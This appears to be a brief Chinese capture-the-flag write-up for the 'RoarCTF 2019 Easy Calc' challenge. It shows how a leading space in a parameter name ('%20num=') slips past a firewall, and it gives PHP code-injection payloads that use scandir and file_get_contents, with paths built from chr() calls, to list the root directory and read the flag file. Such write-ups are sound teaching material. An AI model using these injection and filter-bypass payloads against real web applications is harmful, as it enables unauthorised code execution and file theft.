当前位置: 代码迷 >> 综合 >> BUUTCTF [RoarCTF 2019]Easy Calc
  详细解决方案

BUUTCTF [RoarCTF 2019]Easy Calc

热度:23   发布时间:2024-01-26 05:10:03.0

在这里插入图片描述

查看一下源码

在这里插入图片描述
发现计算的时候请求了一个calc.php
在这里插入图片描述
发现过滤了一些特殊字符

直接传num=phpinfo() ,发现请求失败,应该是被防火墙过滤掉

利用php的解析特性,绕过防火墙检测。因为php解析GET POST请求的时候会自动过滤掉空格,而防火墙不会。如:

num=phpinfo()
%20num=phpinfo()

在php解析的时候就是一个东西,防火墙则会当成两个变量

在这里插入图片描述
成功绕过,利用scandir("/")读出目录,不过由于“/”被过滤掉了我们chr(47)代替,于是有

%20num=var_dump(scandir(chr(47)))

在这里插入图片描述
发现有个flagg文件,构造payload读取文件

payload

%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))